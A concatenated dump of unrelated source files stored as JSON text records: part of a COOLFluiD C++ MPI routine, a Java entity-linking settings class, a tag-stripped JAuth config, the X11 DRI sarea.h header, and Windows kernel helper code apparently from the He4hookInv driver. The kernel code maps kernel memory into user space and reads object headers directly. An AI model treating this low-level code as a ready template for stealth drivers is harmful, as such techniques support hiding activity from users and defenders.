MPIStructDef::getMPIType(&sendRecvStridesIn[0]), MPI_MAX, group.comm));\n \n data->sendStride = sendRecvStridesOut[0];\n data->recvStride = sendRecvStridesOut[1];\n cf_assert(data->sendStride > 0);\n cf_assert(data->recvStride > 0);\n data->groupName = groupName;\n \n // this is superfluous if this is not an active rank\n _socketName2data.insert(_socketsSendRecv[idx], data);\n}\n \n//////////////////////////////////////////////////////////////////////////////\n \nvoid StdConcurrentDataTransfer::createTransferGroup(const CFuint idx)\n{\n CFLog(VERBOSE, \"StdConcurrentDataTransfer::createTransferGroup() => start\\n\");\n \n vector sendRecv = StringOps::getWords(_socketsSendRecv[idx],'>');\n cf_assert(sendRecv.size() == 2);\n \n // namespace_socket (send)\n const string sendSocketStr = sendRecv[0];\n vector nspSocketSend = StringOps::getWords(sendSocketStr,'_');\n cf_assert(nspSocketSend.size() == 2);\n \n // namespace_socket (recv)\n const string recvSocketStr = sendRecv[1];\n vector nspSocketRecv = StringOps::getWords(recvSocketStr,'_');\n cf_assert(nspSocketRecv.size() == 2);\n \n const string nspSend = nspSocketSend[0];\n const string nspRecv = nspSocketRecv[0];\n \n const string nspCoupling = getMethodData().getNamespace();\n const Group& nspGroup = PE::GetPE().getGroup(nspCoupling);\n const CFuint nspRanksSize = nspGroup.globalRanks.size();\n const int nspRank = PE::GetPE().GetRank(nspCoupling);\n cf_assert(nspRank < nspRanksSize);\n \n vector isTransferRank(nspRanksSize, 0); \n _isTransferRank[idx].resize(nspRanksSize, 0);\n \n // if the current rank belongs to the send and/or recv group flag it\n const int rank = PE::GetPE().GetRank(\"Default\"); // rank in MPI_COMM_WORLD\n if (PE::GetPE().isRankInGroup(rank, nspSend) || \n PE::GetPE().isRankInGroup(rank, nspRecv)) {\n isTransferRank[nspRank] = 1;\n }\n \n MPIError::getInstance().check\n (\"MPI_Allreduce\", \"StdConcurrentDataTransfer::createTransferGroup()\", \n MPI_Allreduce(&isTransferRank[0], &_isTransferRank[idx][0], nspRanksSize, \n\t\t MPIStructDef::getMPIType(&isTransferRank[0]), MPI_MAX, nspGroup.comm));\n \n vector ranks;\n for (int rk = 0; rk < nspRanksSize; ++rk) {\n if (_isTransferRank[idx][rk] == 1) {ranks.push_back(rk);}\n }\n cf_assert(ranks.size() > 0);\n \n const string groupName = getName() + StringOps::to_str(idx); \n // here we create a subgroup of the current coupling namespace \n PE::GetPE().createGroup(nspCoupling, groupName, ranks, true);\n \n const string msg = \"StdConcurrentDataTransfer::createTransferGroup() => Ranks for group [\" + groupName + \"] = \";\n CFLog(VERBOSE, CFPrintContainer >(msg, &ranks));\n \n CFLog(VERBOSE, \"StdConcurrentDataTransfer::createTransferGroup() => end\\n\");\n}\n \n//////////////////////////////////////////////////////////////////////////////\n \n } // namespace ConcurrentCoupler\n\n } // namespace Numerics\n\n} // namespace COOLFluiD\n"} -{"text": "package de.mpg.mpi_inf.ambiversenlu.nlu.entitylinking.graph.similarity.context;\n\nimport de.mpg.mpi_inf.ambiversenlu.nlu.entitylinking.graph.similarity.UnitType;\n\nimport java.util.Arrays;\nimport java.util.Map;\n\npublic class EntitiesContextSettings {\n\n public enum EntitiesContextType {\n MENTION_ENTITY, ENTITY_ENTITY\n }\n\n private EntitiesContextType contextType = EntitiesContextType.MENTION_ENTITY;\n\n private int numberOfEntityKeyphrases = Integer.MAX_VALUE;\n\n private boolean normalizeWeights = false; // default is not to normalize.\n\n private boolean useConfusableMIWeight = false;\n\n private boolean averageWeights = false;\n\n private int nGramLength = 2;\n\n public static final double DEFAULT_KEYPHRASE_ALPHA = 0.9713705285593512;\n\n public static final double DEFAULT_KEYWORD_ALPHA = 0.9713705285593512;\n\n private double entityCoherenceKeyphraseAlpha = DEFAULT_KEYPHRASE_ALPHA;\n\n private double entityCoherenceKeywordAlpha = DEFAULT_KEYWORD_ALPHA;\n\n // Different keyphrase source weights for MentionEntity and EntityEntity.\n private Map mentionEntityKeyphraseSourceWeights;\n\n private Map entityEntityKeyphraseSourceWeights;\n\n private double minimumEntityKeyphraseWeight;\n\n private int maxEntityKeyphraseCount;\n\n // LSH\n private int lshBandSize;\n\n private int lshBandCount;\n\n private String lshDatabaseTable;\n\n // LanguageModel\n private static final double[] DEFAULT_UNIT_SMOOTHING_PARAMETER = new double[] { 100, 100 };\n\n private double[] unitSmoothingParameter = Arrays.copyOf(DEFAULT_UNIT_SMOOTHING_PARAMETER, UnitType.values().length);\n\n public static final boolean[] DEFAULT_UNIT_IGNORE_MENTION = new boolean[] { false, false };\n\n private boolean[] unitIgnoreMention = Arrays.copyOf(DEFAULT_UNIT_IGNORE_MENTION, UnitType.values().length);\n\n /**\n *\n * @return Balance between Keyphrase MI/IDF. Use alpha*mi, (1-alpha)*idf \n */\n public double getEntityCoherenceKeyphraseAlpha() {\n return entityCoherenceKeyphraseAlpha;\n }\n\n public void setEntityCoherenceKeyphraseAlpha(double entityCoherenceKeyphraseAlpha) {\n this.entityCoherenceKeyphraseAlpha = entityCoherenceKeyphraseAlpha;\n }\n\n /**\n *\n * @return Balance between Keyword MI/IDF. Use alpha*mi, (1-alpha)*idf \n */\n public double getEntityCoherenceKeywordAlpha() {\n return entityCoherenceKeywordAlpha;\n }\n\n public void setEntityCoherenceKeywordAlpha(double entityCoherenceKeywordAlpha) {\n this.entityCoherenceKeywordAlpha = entityCoherenceKeywordAlpha;\n }\n\n public int getNumberOfEntityKeyphrases() {\n return numberOfEntityKeyphrases;\n }\n\n public void setNumberOfEntityKeyphrases(int numberOfEntityKeyphrases) {\n this.numberOfEntityKeyphrases = numberOfEntityKeyphrases;\n }\n\n public Map getEntityEntityKeyphraseSourceWeights() {\n return entityEntityKeyphraseSourceWeights;\n }\n\n public void setEntityEntityKeyphraseSourceWeights(Map entityEntityKeyphraseSourceWeights) {\n this.entityEntityKeyphraseSourceWeights = entityEntityKeyphraseSourceWeights;\n }\n\n public Map getMentionEntityKeyphraseSourceWeights() {\n return mentionEntityKeyphraseSourceWeights;\n }\n\n public void setMentionEntityKeyphraseSourceWeights(Map mentionEntityKeyphraseSourceWeights) {\n this.mentionEntityKeyphraseSourceWeights = mentionEntityKeyphraseSourceWeights;\n }\n\n public boolean shouldNormalizeWeights() {\n return normalizeWeights;\n }\n\n public void setShouldNormalizeWeights(boolean flag) {\n normalizeWeights = flag;\n }\n\n public boolean shouldUseConfusableMIWeight() {\n return useConfusableMIWeight;\n }\n\n public void setUseConfusableMIWeight(boolean useConfusableMIWeight) {\n this.useConfusableMIWeight = useConfusableMIWeight;\n }\n\n public boolean shouldAverageWeights() {\n return averageWeights;\n }\n\n public void setShouldAverageWeights(boolean flag) {\n this.averageWeights = flag;\n }\n\n public void setNgramLength(int nGramLength) {\n this.nGramLength = nGramLength;\n }\n\n public int getNgramLength() {\n return nGramLength;\n }\n\n public int getLshBandSize() {\n return lshBandSize;\n }\n\n public void setLshBandSize(int lshBandSize) {\n this.lshBandSize = lshBandSize;\n }\n\n public int getLshBandCount() {\n return lshBandCount;\n }\n\n public void setLshBandCount(int lshBandCount) {\n this.lshBandCount = lshBandCount;\n }\n\n public String getLshDatabaseTable() {\n return lshDatabaseTable;\n }\n\n public void setLshDatabaseTable(String lshDatabaseTable) {\n this.lshDatabaseTable = lshDatabaseTable;\n }\n\n public double getMinimumEntityKeyphraseWeight() {\n return minimumEntityKeyphraseWeight;\n }\n\n public void setMinimumEntityKeyphraseWeight(double minimumEntityKeyphraseWeight) {\n this.minimumEntityKeyphraseWeight = minimumEntityKeyphraseWeight;\n }\n\n public EntitiesContextType getEntitiesContextType() {\n return contextType;\n }\n\n public void setEntitiesContextType(EntitiesContextType contextType) {\n this.contextType = contextType;\n }\n\n public int getMaxEntityKeyphraseCount() {\n return maxEntityKeyphraseCount;\n }\n\n public void setMaxEntityKeyphraseCount(int maxEntityKeyphraseCount) {\n this.maxEntityKeyphraseCount = maxEntityKeyphraseCount;\n }\n\n public double getSmoothingParameter(UnitType unitType) {\n return unitSmoothingParameter[unitType.ordinal()];\n }\n\n public void setUnitSmoothingParameter(double[] unitSmoothingParameter) {\n this.unitSmoothingParameter = unitSmoothingParameter;\n }\n\n public boolean shouldIgnoreMention(UnitType unitType) {\n return unitIgnoreMention[unitType.ordinal()];\n }\n\n public void setIgnoreMention(boolean[] unitIgnoreMention) {\n this.unitIgnoreMention = unitIgnoreMention;\n }\n} \n"} -{"text": "\n\n\n\n \n JAuth\n Harvard/BioTeam\n \n JAuth\n \n \n\n \n \n \n \n\n \n -secret=SECRET\n \n\n \n \n \n\n\n\n\n"} -{"text": "/**\n * \\file sarea.h\n * SAREA definitions.\n *\n * \\author Kevin E. Martin \n * \\author Jens Owen \n * \\author Rickard E. (Rik) Faith \n */\n\n/*\n * Copyright 1998-1999 Precision Insight, Inc., Cedar Park, Texas.\n * Copyright 2000 VA Linux Systems, Inc.\n * All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sub license, and/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice (including the\n * next paragraph) shall be included in all copies or substantial portions\n * of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.\n * IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR\n * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#ifndef _SAREA_H_\n#define _SAREA_H_\n\n#include \"xf86drm.h\"\n\n/* SAREA area needs to be at least a page */\n#if defined(__alpha__)\n#define SAREA_MAX \t\t\t0x2000\n#elif defined(__ia64__)\n#define SAREA_MAX\t\t\t0x10000 /* 64kB */\n#else\n/* Intel 830M driver needs at least 8k SAREA */\n#define SAREA_MAX\t\t\t0x2000\n#endif\n\n#define SAREA_MAX_DRAWABLES \t\t256\n\n#define SAREA_DRAWABLE_CLAIMED_ENTRY\t0x80000000\n\n/**\n * SAREA per drawable information.\n *\n * \\sa _XF86DRISAREA.\n */\ntypedef struct _XF86DRISAREADrawable {\n unsigned int stamp;\n unsigned int flags;\n} XF86DRISAREADrawableRec, *XF86DRISAREADrawablePtr;\n\n/**\n * SAREA frame information.\n *\n * \\sa _XF86DRISAREA.\n */\ntypedef struct _XF86DRISAREAFrame {\n unsigned int x;\n unsigned int y;\n unsigned int width;\n unsigned int height;\n unsigned int fullscreen;\n} XF86DRISAREAFrameRec, *XF86DRISAREAFramePtr;\n\n/**\n * SAREA definition.\n */\ntypedef struct _XF86DRISAREA {\n /** first thing is always the DRM locking structure */\n drmLock lock;\n /** \\todo Use readers/writer lock for drawable_lock */\n drmLock drawable_lock;\n XF86DRISAREADrawableRec drawableTable[SAREA_MAX_DRAWABLES];\n XF86DRISAREAFrameRec frame;\n drm_context_t dummy_context;\n} XF86DRISAREARec, *XF86DRISAREAPtr;\n\ntypedef struct _XF86DRILSAREA {\n drmLock lock;\n drmLock otherLocks[31];\n} XF86DRILSAREARec, *XF86DRILSAREAPtr;\n\n#endif\n"} -{"text": "#include \"Misc.h\"\n\n#ifdef __MISC_USE_KHEAP\n KHEAP hKHeapMiscDefault = NULL;\n#endif //__MISC_USE_KHEAP\n\n//\n// \u0424\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043f\u0430\u043c\u044f\u0442\u044c\u044e\n//\n\nBOOLEAN AllocateSharedMemory(PSHARED_MEMORY lpSharedMemory, POOL_TYPE PoolType, ULONG dwSizeRegion)\n{\n if (!_MmIsAddressValid(lpSharedMemory))\n return FALSE;\n if (!dwSizeRegion)\n return FALSE;\n\n memset(lpSharedMemory, 0, sizeof(SHARED_MEMORY));\n\n #ifndef __MISC_USE_KHEAP\n lpSharedMemory->m_lpKernelMemory = ExAllocatePool(PoolType, dwSizeRegion);\n #else\n lpSharedMemory->m_lpKernelMemory = (CHAR*) _AllocatePoolFromKHeap(hKHeapMiscDefault, dwSizeRegion);\n #endif //!__MISC_USE_KHEAP\n if (!lpSharedMemory->m_lpKernelMemory)\n return FALSE;\n\n lpSharedMemory->m_Mdl = IoAllocateMdl(lpSharedMemory->m_lpKernelMemory, dwSizeRegion, FALSE, FALSE, NULL);\n if (!lpSharedMemory->m_Mdl)\n {\n #ifndef __MISC_USE_KHEAP\n ExFreePool(lpSharedMemory->m_lpKernelMemory);\n #else\n FreePoolToKHeap(hKHeapMiscDefault, lpSharedMemory->m_lpKernelMemory);\n #endif //!__MISC_USE_KHEAP\n memset(lpSharedMemory, 0, sizeof(SHARED_MEMORY));\n return FALSE;\n }\n\n MmBuildMdlForNonPagedPool(lpSharedMemory->m_Mdl);\n\n lpSharedMemory->m_lpUserPage = MmMapLockedPages(lpSharedMemory->m_Mdl, UserMode);\n lpSharedMemory->m_lpUserMemory = (PVOID) (((ULONG)PAGE_ALIGN(lpSharedMemory->m_lpUserPage))+MmGetMdlByteOffset(lpSharedMemory->m_Mdl));\n if (!_MmIsAddressValid(lpSharedMemory->m_lpUserMemory))\n {\n MmUnmapLockedPages(lpSharedMemory->m_lpUserPage, lpSharedMemory->m_Mdl);\n IoFreeMdl(lpSharedMemory->m_Mdl);\n #ifndef __MISC_USE_KHEAP\n ExFreePool(lpSharedMemory->m_lpKernelMemory);\n #else\n FreePoolToKHeap(hKHeapMiscDefault, lpSharedMemory->m_lpKernelMemory);\n #endif //!__MISC_USE_KHEAP\n memset(lpSharedMemory, 0, sizeof(SHARED_MEMORY));\n return FALSE;\n }\n lpSharedMemory->m_dwSizeRegion = dwSizeRegion;\n\n return TRUE;\n}\n\nBOOLEAN FreeSharedMemory(PSHARED_MEMORY lpSharedMemory)\n{\n if (!_MmIsAddressValid(lpSharedMemory))\n return FALSE;\n if (!_MmIsAddressValid(lpSharedMemory->m_lpUserMemory))\n return FALSE;\n if (!_MmIsAddressValid(lpSharedMemory->m_lpKernelMemory))\n return FALSE;\n\n MmUnmapLockedPages(lpSharedMemory->m_lpUserPage, lpSharedMemory->m_Mdl);\n IoFreeMdl(lpSharedMemory->m_Mdl);\n #ifndef __MISC_USE_KHEAP\n ExFreePool(lpSharedMemory->m_lpKernelMemory);\n #else\n FreePoolToKHeap(hKHeapMiscDefault, lpSharedMemory->m_lpKernelMemory);\n #endif //!__MISC_USE_KHEAP\n memset(lpSharedMemory, 0, sizeof(SHARED_MEMORY));\n\n return TRUE;\n}\n\nPVOID\nMapUserAddressToKernel(\n IN PVOID pUserModeAddress,\n IN ULONG ulSize,\n OUT PMDL* ppMdl\n )\n{\n PMDL pUserModeMdl = NULL;\n PVOID pMappedKernelAddr = NULL;\n\n if (ppMdl == NULL)\n return NULL;\n\n __try\n {\n pUserModeMdl = IoAllocateMdl(pUserModeAddress, ulSize, FALSE, FALSE, NULL);\n if (pUserModeMdl != NULL)\n {\n MmProbeAndLockPages(pUserModeMdl, KernelMode, IoModifyAccess);\n pMappedKernelAddr = MmMapLockedPages(pUserModeMdl, KernelMode); \n if (pMappedKernelAddr != NULL)\n {\n pMappedKernelAddr = (PVOID) (((ULONG)PAGE_ALIGN(pMappedKernelAddr))+MmGetMdlByteOffset(pUserModeMdl));\n *ppMdl = pUserModeMdl;\n }\n else\n {\n UnmapMappedKernelAddress(pUserModeMdl);\n }\n }\n }\n __except(EXCEPTION_EXECUTE_HANDLER)\n {\n if (pUserModeMdl != NULL)\n IoFreeMdl(pUserModeMdl);\n pMappedKernelAddr = NULL;\n }\n \n return pMappedKernelAddr;\n}\n\n\nVOID\nUnmapMappedKernelAddress(\n IN PMDL pMdl\n )\n{\n if (pMdl == NULL)\n return;\n\n MmUnlockPages(pMdl);\n IoFreeMdl(pMdl);\n}\n\nBOOLEAN IsBadWritePtr(PVOID Address, ULONG Length, ULONG Alignment)\n{\n __try\n {\n ProbeForWrite(Address, Length, Alignment);\n }\n __except(EXCEPTION_EXECUTE_HANDLER)\n {\n return TRUE;\n }\n return FALSE;\n}\n\nBOOLEAN _MmIsAddressValid(PVOID Address)\n{\n if (!Address)\n return FALSE;\n return MmIsAddressValid(Address);\n}\n\n//\n// \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u044f\u0434\u0440\u0430\n//\n\n//----------------------------------------------------------------------\n//\n// GetPointer\n//\n// Translates a handle to an object pointer.\n//\n//----------------------------------------------------------------------\nPOBJECT GetPointer(HANDLE handle)\n{\n POBJECT pKey;\n NTSTATUS NtStatus;\n\n //\n // Ignore null handles\n //\n if (!handle && KeGetCurrentIrql() != PASSIVE_LEVEL)\n return NULL;\n\n //\n // Get the pointer the handle refers to\n //\n NtStatus = ObReferenceObjectByHandle(handle, 0, NULL, KernelMode, &pKey, NULL);\n if (NtStatus != STATUS_SUCCESS)\n {\n DbgPrintMisc((\"He4hookInv: GetPointer: Error %08x getting key pointer\\n\", NtStatus));\n pKey = NULL;\n } \n\n return pKey;\n}\n\n\n//----------------------------------------------------------------------\n//\n// ReleasePointer\n//\n// Dereferences the object.\n//\n//----------------------------------------------------------------------\nVOID ReleasePointer(POBJECT object)\n{\n if (object && KeGetCurrentIrql() == PASSIVE_LEVEL)\n ObDereferenceObject(object);\n}\n\nULONG GetObjectName(HANDLE hObject, PWSTR lpwszName, ULONG dwSize)\n{\n CHAR *tmpname;//[0x400];\n PUNICODE_STRING fullUniName;\n NTSTATUS NtStatus;\n ULONG dwObjectNameLen = 0; //(by bytes)\n\n DbgPrintMisc((\"He4hookInv: GetObjectName started!!!!!!!\\n\"));\n\n if (!lpwszName || !dwSize || KeGetCurrentIrql() > PASSIVE_LEVEL)\n return 0;\n\n //\n // Translate the hkey into a pointer\n //\n lpwszName[0] = 0;\n\n #ifndef __MISC_USE_KHEAP\n tmpname = (CHAR*) ExAllocatePool(NonPagedPool, dwSize+sizeof(UNICODE_STRING));\n #else\n tmpname = (CHAR*) _AllocatePoolFromKHeap(hKHeapMiscDefault, dwSize+sizeof(UNICODE_STRING));\n #endif //!__MISC_USE_KHEAP\n if (!_MmIsAddressValid(tmpname))\n return 0;\n tmpname[0] = 0;\n\n NtStatus = ZwQueryObject(hObject, NameObjectInfo, tmpname, dwSize+sizeof(UNICODE_STRING), NULL);\n\n if (NT_SUCCESS(NtStatus))\n {\n fullUniName = &(((PNAME_OBJECT_INFO)tmpname)->Name);\n dwObjectNameLen = fullUniName->Length;\n if (dwSize < (sizeof(WCHAR)+dwObjectNameLen))\n {\n DbgPrintMisc((\"He4hookInv: GetObjectName ended - ERROR!!!!!!!\\n\"));\n #ifndef __MISC_USE_KHEAP\n ExFreePool(tmpname);\n #else\n FreePoolToKHeap(hKHeapMiscDefault, tmpname);\n #endif //!__MISC_USE_KHEAP\n return 0;\n }\n// memset(lpwszName, 0, (sizeof(WCHAR)+fullUniName->Length));\n memcpy(lpwszName, fullUniName->Buffer, dwObjectNameLen);\n lpwszName[dwObjectNameLen/sizeof(WCHAR)] = 0;\n }\n\n #ifndef __MISC_USE_KHEAP\n ExFreePool(tmpname);\n #else\n FreePoolToKHeap(hKHeapMiscDefault, tmpname);\n #endif //!__MISC_USE_KHEAP\n\n DbgPrintMisc((\"He4hookInv: GetObjectName ended - OK!!!!!!!\\n\"));\n\n return dwObjectNameLen; \n}\n\nULONG GetObjectNameByObjectAttributes(POBJECT_ATTRIBUTES ObjectAttributes, PWSTR fullPathName, ULONG nfullPathNameSize)\n{\n ULONG dwDirSize, dwNtPathNameLen;\n int nObjectNameLen = 0;\n PWSTR DosPathName;\n NTSTATUS NtStatus;\n PWSTR pwszObjectName = NULL;\n\n if (\n !_MmIsAddressValid(ObjectAttributes) ||\n !_MmIsAddressValid(fullPathName) ||\n !nfullPathNameSize\n )\n return 0;\n\n fullPathName[0] = 0;\n dwDirSize = 0;\n\n if (_MmIsAddressValid(ObjectAttributes->ObjectName))\n {\n if (ObjectAttributes->ObjectName->Length != 0)\n {\n if (_MmIsAddressValid(ObjectAttributes->ObjectName->Buffer))\n {\n pwszObjectName = ObjectAttributes->ObjectName->Buffer;\n nObjectNameLen = ObjectAttributes->ObjectName->Length;\n }\n }\n }\n\n #ifndef __MISC_USE_KHEAP\n DosPathName = (PWSTR) ExAllocatePool(NonPagedPool, nfullPathNameSize);\n #else\n DosPathName = (PWSTR) _AllocatePoolFromKHeap(hKHeapMiscDefault, nfullPathNameSize);\n #endif //!__MISC_USE_KHEAP\n// DosPathName = (PWSTR)_AllocatePoolFromKHeap(hKHeapFSDefault, nfullPathNameSize);\n if (DosPathName == NULL)\n return 0;\n\n DosPathName[0] = 0;\n\n DbgPrintMisc((\" GetFileNameByObjectAttributes: Attributes => %08x !!!\\n\", ObjectAttributes->Attributes));\n\n if (ObjectAttributes->RootDirectory)\n {\n dwDirSize = GetObjectName(ObjectAttributes->RootDirectory, DosPathName, nfullPathNameSize);\n }\n\n if (dwDirSize > 3 && pwszObjectName != NULL)\n {\n if (\n DosPathName[(dwDirSize/sizeof(WCHAR))-1] == L'\\\\' &&\n (pwszObjectName[0] == L'\\\\' || pwszObjectName[0] == L'/')\n )\n {\n DosPathName[(dwDirSize/sizeof(WCHAR))-1] = 0;\n dwDirSize -= sizeof(WCHAR);\n }\n else\n {\n if (\n DosPathName[(dwDirSize/sizeof(WCHAR))-1] != L'\\\\' &&\n (pwszObjectName[0] != L'\\\\' || pwszObjectName[0] != L'/')\n )\n {\n if (dwDirSize <= (nfullPathNameSize-2*sizeof(WCHAR)))\n {\n DosPathName[(dwDirSize/sizeof(WCHAR))] = L'\\\\';\n DosPathName[(dwDirSize/sizeof(WCHAR))+1] = 0;\n dwDirSize += sizeof(WCHAR);\n }\n }\n }\n }\n\n if (pwszObjectName != NULL)\n {\n if (nfullPathNameSize > (nObjectNameLen+dwDirSize))\n {\n memcpy(((PCHAR)DosPathName+dwDirSize), pwszObjectName, nObjectNameLen);\n ((PWSTR)((PCHAR)DosPathName+dwDirSize))[nObjectNameLen/sizeof(WCHAR)] = 0;\n }\n }\n\n dwNtPathNameLen = DosPathNameToNtPathName(DosPathName, fullPathName, nfullPathNameSize, 255, NULL);\n\n #ifndef __MISC_USE_KHEAP\n ExFreePool(DosPathName);\n #else\n FreePoolToKHeap(hKHeapMiscDefault, DosPathName);\n #endif //!__MISC_USE_KHEAP\n //FreePoolToKHeap(hKHeapFSDefault, DosPathName);\n\n return dwNtPathNameLen;\n}\n\nULONG GetObjectNameByFileObject(PFILE_OBJECT fileObject, PWSTR fullPathName, ULONG nfullPathNameSize)\n{\n ULONG pathLen, dwVolumeLen;\n PWSTR pathOffset;\n PFILE_OBJECT relatedFileObject;\n// ANSI_STRING componentName;\n PDEVICE_OBJECT pDeviceObject;\n PUNICODE_STRING fullUniName;\n UNICODE_STRING FileNameUnicodeString;\n ULONG dwFreeSize = nfullPathNameSize;\n ULONG dwFullPathLen = 0;\n\n if (\n KeGetCurrentIrql() > PASSIVE_LEVEL ||\n !_MmIsAddressValid(fileObject) ||\n !_MmIsAddressValid(fullPathName) ||\n !fileObject\n )\n return 0;\n\n fullPathName[0] = 0;\n dwVolumeLen = 0;\n\n __try\n {\n pDeviceObject = GetVolumeDeviceObject(fileObject);\n if (pDeviceObject == NULL)\n {\n pDeviceObject = IoGetRelatedDeviceObject(fileObject);\n }\n\n fullUniName = (PUNICODE_STRING)fullPathName;\n fullUniName->MaximumLength = (USHORT)(nfullPathNameSize*sizeof(WCHAR) - sizeof(UNICODE_STRING));\n\n if (NT_SUCCESS(ObQueryNameString(pDeviceObject, (POBJECT_NAME_INFORMATION)fullUniName, fullUniName->MaximumLength, &pathLen)))\n {\n dwVolumeLen = fullUniName->Length;\n memmove(fullPathName, fullUniName->Buffer, dwVolumeLen);\n fullPathName[dwVolumeLen/sizeof(WCHAR)] = 0;\n }\n else\n {\n return 0;\n }\n\n// strcat(fullPathName, \"\\\\\");\n dwFreeSize -= dwVolumeLen;\n\n if (!fileObject->FileName.Length || fileObject->FileName.Length > dwFreeSize)\n {\n// RtlInitUnicodeString(&FileNameUnicodeString, fullPathName);\n// RtlUnicodeStringToAnsiString( &componentName, &FileNameUnicodeString, TRUE ); \n// DbgPrint (\"%s\\n\", componentName.Buffer);\n// RtlFreeAnsiString( &componentName );\n\n return wcslen(fullPathName)*sizeof(WCHAR);\n }\n\n }\n __except(EXCEPTION_EXECUTE_HANDLER)\n {\n return 0;\n }\n\n __try\n {\n pathLen = fileObject->FileName.Length/sizeof(WCHAR) + 1;\n\n relatedFileObject = fileObject->RelatedFileObject;\n \n if (fileObject->FileName.Buffer[0] != L'\\\\' )\n {\n while (relatedFileObject)\n {\n if ((pathLen + relatedFileObject->FileName.Length/sizeof(WCHAR) + 1) >= dwFreeSize)\n {\n break;\n }\n pathLen += relatedFileObject->FileName.Length/sizeof(WCHAR) + 1;\n relatedFileObject = relatedFileObject->RelatedFileObject;\n }\n }\n\n if (dwFreeSize == nfullPathNameSize)\n wcscpy(fullPathName, L\"\\\\\");\n \n pathOffset = fullPathName + dwVolumeLen/sizeof(WCHAR) - 1 + pathLen - fileObject->FileName.Length/sizeof(WCHAR);\n memcpy(pathOffset, fileObject->FileName.Buffer, fileObject->FileName.Length);\n pathOffset[fileObject->FileName.Length/sizeof(WCHAR)] = 0;\n\n relatedFileObject = fileObject->RelatedFileObject;\n \n if (fileObject->FileName.Buffer[0] != L'\\\\')\n {\n while (relatedFileObject)\n {\n *(pathOffset - 1) = L'\\\\';\n pathOffset -= relatedFileObject->FileName.Length/sizeof(WCHAR) + 1;\n\n if (pathOffset <= fullPathName)\n {\n break;\n }\n memcpy(pathOffset, relatedFileObject->FileName.Buffer, relatedFileObject->FileName.Length);\n\n relatedFileObject = relatedFileObject->RelatedFileObject;\n }\n } \n\n dwFullPathLen = wcslen(fullPathName)*sizeof(WCHAR);\n\n// if (fullPathName[dwVolumeLen/sizeof(WCHAR)] == L'\\\\' && fullPathName[dwVolumeLen/sizeof(WCHAR)+1] == L'\\\\')\n// {\n// memmove(&fullPathName[dwVolumeLen/sizeof(WCHAR)], &fullPathName[dwVolumeLen/sizeof(WCHAR)+1], pathLen*sizeof(WCHAR));\n// }\n\n pathOffset = wcsstr(fullPathName, L\"\\\\\\\\\");\n while (pathOffset)\n {\n memmove(pathOffset, &pathOffset[1], wcslen(pathOffset)*sizeof(WCHAR));\n pathOffset = wcsstr(pathOffset, L\"\\\\\\\\\");\n }\n\n// RtlInitUnicodeString(&FileNameUnicodeString, fullPathName);\n// RtlUnicodeStringToAnsiString( &componentName, &FileNameUnicodeString, TRUE ); \n// DbgPrint (\"%s\\n\", componentName.Buffer);\n// RtlFreeAnsiString( &componentName );\n\n }\n __except(EXCEPTION_EXECUTE_HANDLER)\n {\n DbgPrintMisc((\"GetFullPath: EXCEPTION\\n\"));\n }\n\n return dwFullPathLen;\n}\n\nPVOID GetObjectByPath(PWSTR pwszObjectName, PVOID pObjectType)\n{\n PVOID pObject = NULL;\n UNICODE_STRING DeviceName;\n NTSTATUS NtStatus = 0;\n// ANSI_STRING FileNameAnsi;\n\n if (!pwszObjectName || KeGetCurrentIrql() > PASSIVE_LEVEL)\n return pObject;\n\n\n RtlInitUnicodeString(&DeviceName, pwszObjectName);\n\n// RtlUnicodeStringToAnsiString(&FileNameAnsi, &DeviceName, TRUE);\n// if (strlen(FileNameAnsi.Buffer))\n// DbgPrint (\"%s\\n\", FileNameAnsi.Buffer);\n// RtlFreeAnsiString(&FileNameAnsi);\n\n\n __try\n {\n NtStatus = ObReferenceObjectByName(&DeviceName, OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)pObjectType, KernelMode, NULL, (PVOID*)&pObject);\n }\n __except(EXCEPTION_EXECUTE_HANDLER)\n {\n NtStatus = STATUS_ACCESS_VIOLATION;\n// DbgPrint (\"EXCEPTION into ObReferenceObjectByName\\n\");\n }\n//NTSYSAPI\n//NTSTATUS\n//NTAPI\n//ObReferenceObjectByName(\n// IN PUNICODE_STRING ObjectPath,\n// IN ULONG Attributes,\n// IN PACCESS_STATE PassedAccessState OPTIONAL,\n// IN ACCESS_MASK DesiredAccess OPTIONAL,\n// IN POBJECT_TYPE ObjectType,\n// IN KPROCESSOR_MODE AccessMode,\n// IN OUT PVOID ParseContext OPTIONAL,\n// OUT PVOID *ObjectPtr\n// ); \n if (NT_SUCCESS(NtStatus))\n {\n ObDereferenceObject((PVOID)pObject);\n }\n// DbgPrint (\"He4HookInv: GetObjectByPath: pObject = %08X!!!\\n\", pObject);\n\n return pObject;\n}\n\nPOBJECT_NAME GetNameOfObject(PVOID pObject)\n{\n POBJECT_NAME pObjectName = NULL;\n POBJECT_HEADER pObjectHdr;\n\n if (_MmIsAddressValid(pObject))\n {\n pObjectHdr = (POBJECT_HEADER) ((PBYTE)pObject - SIZE_OF_OBJECT_HEADER);\n if (_MmIsAddressValid(pObjectHdr))\n {\n if (pObjectHdr->SubHeaderInfo.NameOffset != 0)\n {\n pObjectName = (POBJECT_NAME) ((PBYTE)pObjectHdr - pObjectHdr->SubHeaderInfo.NameOffset);\n }\n }\n }\n\n return pObjectName;\n}\n\n//\n// 